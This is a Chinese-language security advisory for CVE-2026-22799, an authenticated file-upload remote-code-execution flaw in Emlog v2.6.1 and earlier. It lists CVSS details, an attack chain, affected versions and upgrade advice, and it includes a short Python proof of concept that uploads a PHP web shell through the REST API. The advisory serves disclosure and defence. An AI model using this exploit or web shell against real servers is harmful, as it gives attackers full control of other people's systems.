IPBUF安全漏洞报告
English
CVE-2026-22799 CVSS 8.8 高危

CVE-2026-22799: Emlog v2.6.1及之前版本REST API文件上传导致RCE漏洞

披露日期: 2026-01-12

漏洞信息

漏洞编号
CVE-2026-22799
漏洞类型
远程代码执行(RCE)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Emlog开源网站构建系统

相关标签

CVE-2026-22799Emlog文件上传RCEREST API

漏洞概述

Emlog v2.6.1及更早版本存在严重的文件上传漏洞,攻击者可通过REST API端点(/index.php?rest-api=upload)上传任意文件,包括恶意PHP脚本,从而实现远程代码执行。

技术细节

REST API端点缺少文件类型、扩展名和内容的验证,攻击者可在认证后上传恶意文件。获取API密钥的方法包括:通过管理员权限启用REST API,或利用信息泄露漏洞。成功上传后,恶意PHP文件可被执行,导致服务器被完全控制。

攻击链分析

STEP 1
1
获取API密钥(通过管理员权限或信息泄露)
STEP 2
2
通过REST API上传恶意PHP文件
STEP 3
3
访问上传的PHP文件并执行命令
STEP 4
4
获得服务器远程代码执行权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
python import requests url = 'http://target.com/index.php?rest-api=upload' files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')} headers = {'X-Api-Key': 'YOUR_API_KEY'} response = requests.post(url, files=files, headers=headers) print(response.text)

影响范围

Emlog < 2.6.2

防御指南

临时缓解措施
立即升级Emlog到最新版本,或暂时禁用REST API功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表